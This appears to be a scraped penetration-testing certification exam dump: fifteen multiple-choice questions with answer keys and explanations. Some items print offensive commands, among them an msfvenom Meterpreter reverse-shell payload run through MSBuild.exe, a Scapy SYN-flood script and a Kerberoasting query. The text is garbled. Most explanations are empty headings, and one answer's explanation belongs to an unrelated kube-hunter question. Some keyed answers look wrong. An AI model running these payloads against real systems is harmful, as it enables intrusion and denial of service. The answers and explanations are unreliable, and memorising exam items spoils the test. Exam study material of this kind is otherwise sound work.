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NEW QUESTION 1
A penetration tester needs to evaluate the order in which the next systems will be selected for testing. Given the following output:

Which of the following targets should the tester select next?

• A. fileserver
• B. hrdatabase
• C. legaldatabase
• D. financesite

Answer: A

Explanation:
✑ Evaluation Criteria:
✑ Analysis:
✑ Selection Justification:
Pentest References:
✑ Risk Prioritization: Balancing between severity (CVSS) and exploitability (EPSS) is crucial for effective vulnerability management.
✑ Risk Assessment: Evaluating both the impact and the likelihood of exploitation helps in making informed decisions about testing priorities.
By selecting the fileserver, the penetration tester focuses on a target that is highly likely to be exploited, addressing the most immediate risk based on the given scores.
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NEW QUESTION 2
Which of the following is the most efficient way to infiltrate a file containing data that could be sensitive?

• A. Use steganography and send the file over FTP
• B. Compress the file and send it using TFTP
• C. Split the file in tiny pieces and send it over dnscat
• D. Encrypt and send the file over HTTPS

Answer: D

Explanation:
When considering efficiency and security for exfiltrating sensitive data, the chosen method must ensure data confidentiality and minimize the risk of detection. Here??s an analysis of each option:
✑ Use steganography and send the file over FTP (Option A):
✑ Compress the file and send it using TFTP (Option B):
✑ Split the file in tiny pieces and send it over dnscat (Option C):
✑ Encrypt and send the file over HTTPS (Answer: D):
Conclusion: Encrypting the file and sending it over HTTPS is the most efficient and secure method for exfiltrating sensitive data, ensuring both confidentiality and reducing the risk of detection.

NEW QUESTION 3
During a penetration test, the tester identifies several unused services that are listening on all targeted internal laptops. Which of the following technical controls should the tester recommend to reduce the risk of compromise?

• A. Multifactor authentication
• B. Patch management
• C. System hardening
• D. Network segmentation

Answer: C

Explanation:
When a penetration tester identifies several unused services listening on targeted internal laptops, the most appropriate recommendation to reduce the risk of compromise is system hardening. Here's why:
✑ System Hardening:
✑ Comparison with Other Controls:
System hardening is the most direct control for reducing the risk posed by unused services, making it the best recommendation.
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NEW QUESTION 4
During an assessment, a penetration tester runs the following command: setspn.exe -Q /
Which of the following attacks is the penetration tester preparing for?

• A. LDAP injection
• B. Pass-the-hash
• C. Kerberoasting
• D. Dictionary

Answer: C

Explanation:
Kerberoasting is an attack that involves requesting service tickets for service accounts from a Kerberos service, extracting the service tickets, and attempting to crack them offline to retrieve the plaintext passwords.
✑ Understanding Kerberoasting:
✑ Command Breakdown:
✑ Kerberoasting Steps:
✑ References from Pentesting Literature: Step-by-Step ExplanationReferences:
✑ Penetration Testing - A Hands-on Introduction to Hacking
✑ HTB Official Writeups
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NEW QUESTION 5
A tester performs a vulnerability scan and identifies several outdated libraries used within the customer SaaS product offering. Which of the following types of scans did the tester use to identify the libraries?

• A. IAST
• B. SBOM
• C. DAST
• D. SAST

Answer: D

Explanation:
kube-hunter is a tool designed to perform security assessments on Kubernetes clusters. It identifies various vulnerabilities, focusing on weaknesses and misconfigurations. Here??s why option B is correct:
✑ Kube-hunter: It scans Kubernetes clusters to identify security issues, such as misconfigurations, insecure settings, and potential attack vectors.
✑ Network Configuration Errors: While kube-hunter might identify some network- related issues, its primary focus is on Kubernetes-specific vulnerabilities and misconfigurations.
✑ Application Deployment Issues: These are more related to the applications running within the cluster, not the cluster configuration itself.
✑ Security Vulnerabilities in Docker Containers: Kube-hunter focuses on the Kubernetes environment rather than Docker container-specific vulnerabilities.
References from Pentest:
✑ Forge HTB: Highlights the use of specialized tools to identify misconfigurations in environments, similar to how kube-hunter operates within Kubernetes clusters.
✑ Anubis HTB: Demonstrates the importance of identifying and fixing misconfigurations within complex environments like Kubernetes clusters.
Conclusion:
Option B, weaknesses and misconfigurations in the Kubernetes cluster, accurately describes the type of vulnerabilities that kube-hunter is designed to detect.
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NEW QUESTION 6
A penetration tester is authorized to perform a DoS attack against a host on a network. Given the following input:
ip = IP("192.168.50.2")
tcp = TCP(sport=RandShort(), dport=80, flags="S") raw = RAW(b"X"*1024)
p = ip/tcp/raw
send(p, loop=1, verbose=0)
Which of the following attack types is most likely being used in the test?

• A. MDK4
• B. Smurf attack
• C. FragAttack
• D. SYN flood

Answer: D

Explanation:
A SYN flood attack exploits the TCP handshake process by sending a large number of SYN packets to a target, consuming resources and causing a denial of service.
✑ Understanding the Script:
✑ Purpose of SYN Flood:
✑ Detection and Mitigation:
✑ References from Pentesting Literature: Step-by-Step ExplanationReferences:
✑ Penetration Testing - A Hands-on Introduction to Hacking
✑ HTB Official Writeups
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NEW QUESTION 7
During an assessment, a penetration tester wants to extend the vulnerability search to include the use of dynamic testing. Which of the following tools should the tester use?

• A. Mimikatz
• B. ZAP
• C. OllyDbg
• D. SonarQube

Answer: B

Explanation:
✑ Dynamic Application Security Testing (DAST):
✑ ZAP (Zed Attack Proxy):
✑ Other Tools:
Pentest References:
✑ Web Application Security Testing: Utilizing DAST tools like ZAP to dynamically test and find vulnerabilities in running web applications.
✑ OWASP Tools: Leveraging open-source tools recommended by OWASP for comprehensive security testing.
By using ZAP, the penetration tester can perform dynamic testing to identify runtime vulnerabilities in web applications, extending the scope of the vulnerability search.
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NEW QUESTION 8
During a security assessment, a penetration tester needs to exploit a vulnerability in a wireless network's authentication mechanism to gain unauthorized access to the network. Which of the following attacks would the tester most likely perform to gain access?

• A. KARMA attack
• B. Beacon flooding
• C. MAC address spoofing
• D. Eavesdropping

Answer: A

Explanation:
To exploit a vulnerability in a wireless network's authentication mechanism and gain unauthorized access, the penetration tester would most likely perform a KARMA attack.
✑ KARMA Attack:
✑ Purpose:
✑ Other Options:
Pentest References:
✑ Wireless Security Assessments: Understanding common attack techniques such as KARMA is crucial for identifying and exploiting vulnerabilities in wireless networks.
✑ Rogue Access Points: Setting up rogue APs to capture credentials or perform man-in-the-middle attacks is a common tactic in wireless penetration testing.
By performing a KARMA attack, the penetration tester can exploit the wireless network's authentication mechanism and gain unauthorized access to the network.
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NEW QUESTION 9
During a security assessment for an internal corporate network, a penetration tester wants to gain unauthorized access to internal resources by executing an attack that uses software to disguise itself as legitimate software. Which of the following host-based attacks should the tester use?

• A. On-path
• B. Logic bomb
• C. Rootkit
• D. Buffer overflow

Answer: C

Explanation:
A rootkit is a type of malicious software designed to provide an attacker with unauthorized access to a computer system while concealing its presence. Rootkits achieve this by modifying the host??s operating system or other software to hide their existence, allowing the attacker to maintain control over the system without detection.
✑ Definition and Purpose:
✑ Mechanisms of Action:
✑ Detection and Prevention:
✑ Real-World Examples:
✑ References from Pentesting Literature: Step-by-Step ExplanationReferences:
✑ Penetration Testing - A Hands-on Introduction to Hacking
✑ HTB Official Writeups on sophisticated attacks
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NEW QUESTION 10
A penetration tester obtains password dumps associated with the target and identifies strict lockout policies. The tester does not want to lock out accounts when attempting access.
Which of the following techniques should the tester use?

• A. Credential stuffing
• B. MFA fatigue
• C. Dictionary attack
• D. Brute-force attack

Answer: A

Explanation:
To avoid locking out accounts while attempting access, the penetration tester should use credential stuffing.
✑ Credential Stuffing:
✑ Other Techniques:
Pentest References:
✑ Password Attacks: Understanding different types of password attacks and their implications on account security.
✑ Account Lockout Policies: Awareness of how lockout mechanisms work and strategies to avoid triggering them during penetration tests.
By using credential stuffing, the penetration tester can attempt to gain access using known credentials without triggering account lockout policies, ensuring a stealthier approach to password attacks.
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NEW QUESTION 11
A penetration tester completed OSINT work and needs to identify all subdomains for mydomain.com. Which of the following is the best command for the tester to use?

• A. nslookup mydomain.com » /path/to/results.txt
• B. crunch 1 2 | xargs -n 1 -I 'X' nslookup X.mydomain.com
• C. dig @8.8.8.8 mydomain.com ANY » /path/to/results.txt
• D. cat wordlist.txt | xargs -n 1 -I 'X' dig X.mydomain.com

Answer: D

Explanation:
Using dig with a wordlist to identify subdomains is an effective method for subdomain enumeration. The command cat wordlist.txt | xargs -n 1 -I 'X' dig X.mydomain.com reads each line from wordlist.txt and performs a DNS lookup for each potential subdomain.
✑ Command Breakdown:
✑ Why This is the Best Choice:
✑ Benefits:
✑ References from Pentesting Literature: Step-by-Step ExplanationReferences:
✑ Penetration Testing - A Hands-on Introduction to Hacking
✑ HTB Official Writeups
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NEW QUESTION 12
A tester plans to perform an attack technique over a compromised host. The tester prepares a payload using the following command:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.12.12.1 LPORT=10112 -f csharp
The tester then takes the shellcode from the msfvenom command and creates a file called evil.xml. Which of the following commands would most likely be used by the tester to continue with the attack on the host?

• A. regsvr32 /s /n /u C:\evil.xml
• B. MSBuild.exe C:\evil.xml
• C. mshta.exe C:\evil.xml
• D. AppInstaller.exe C:\evil.xml

Answer: B

Explanation:
The provided msfvenom command creates a payload in C# format. To continue the attack using the generated shellcode in evil.xml, the most appropriate execution method involves MSBuild.exe, which can process XML files containing C# code:
✑ Understanding MSBuild.exe:
✑ Command Usage:
✑ Comparison with Other Commands:
Using MSBuild.exe is the most appropriate method to execute the payload embedded in the XML file created by msfvenom.
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NEW QUESTION 13
While conducting a reconnaissance activity, a penetration tester extracts the following information:
Emails: - admin@acme.com - sales@acme.com - support@acme.com
Which of the following risks should the tester use to leverage an attack as the next step in the security assessment?

• A. Unauthorized access to the network
• B. Exposure of sensitive servers to the internet
• C. Likelihood of SQL injection attacks
• D. Indication of a data breach in the company

Answer: A

Explanation:
When a penetration tester identifies email addresses during reconnaissance, the most immediate risk to leverage for an attack is unauthorized access to the network. Here??s why:
✑ Phishing Attacks:
✑ Spear Phishing:
✑ Comparison with Other Risks:
Email addresses are a starting point for phishing attacks, making unauthorized access to the network the most relevant risk.
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NEW QUESTION 14
During an engagement, a penetration tester needs to break the key for the Wi-Fi network that uses WPA2 encryption. Which of the following attacks would accomplish this objective?

• A. ChopChop
• B. Replay
• C. Initialization vector
• D. KRACK

Answer: D

Explanation:
To break the key for a Wi-Fi network that uses WPA2 encryption, the penetration tester should use the KRACK (Key Reinstallation Attack) attack.
✑ KRACK (Key Reinstallation Attack):
✑ Other Attacks:
Pentest References:
✑ Wireless Security: Understanding vulnerabilities in Wi-Fi encryption protocols, such as WPA2, and how they can be exploited.
✑ KRACK Attack: A significant vulnerability in WPA2 that requires specific techniques to exploit.
By using the KRACK attack, the penetration tester can break WPA2 encryption and gain unauthorized access to the Wi-Fi network.
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NEW QUESTION 15
While conducting a peer review for a recent assessment, a penetration tester finds the debugging mode is still enabled for the production system. Which of the following is most likely responsible for this observation?

• A. Configuration changes were not reverted.
• B. A full backup restoration is required for the server.
• C. The penetration test was not completed on time.
• D. The penetration tester was locked out of the system.

Answer: A

Explanation:
✑ Debugging Mode:
✑ Common Causes:
✑ Best Practices:
✑ References from Pentesting Literature: References:
✑ Penetration Testing - A Hands-on Introduction to Hacking
✑ HTB Official Writeups
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NEW QUESTION 16
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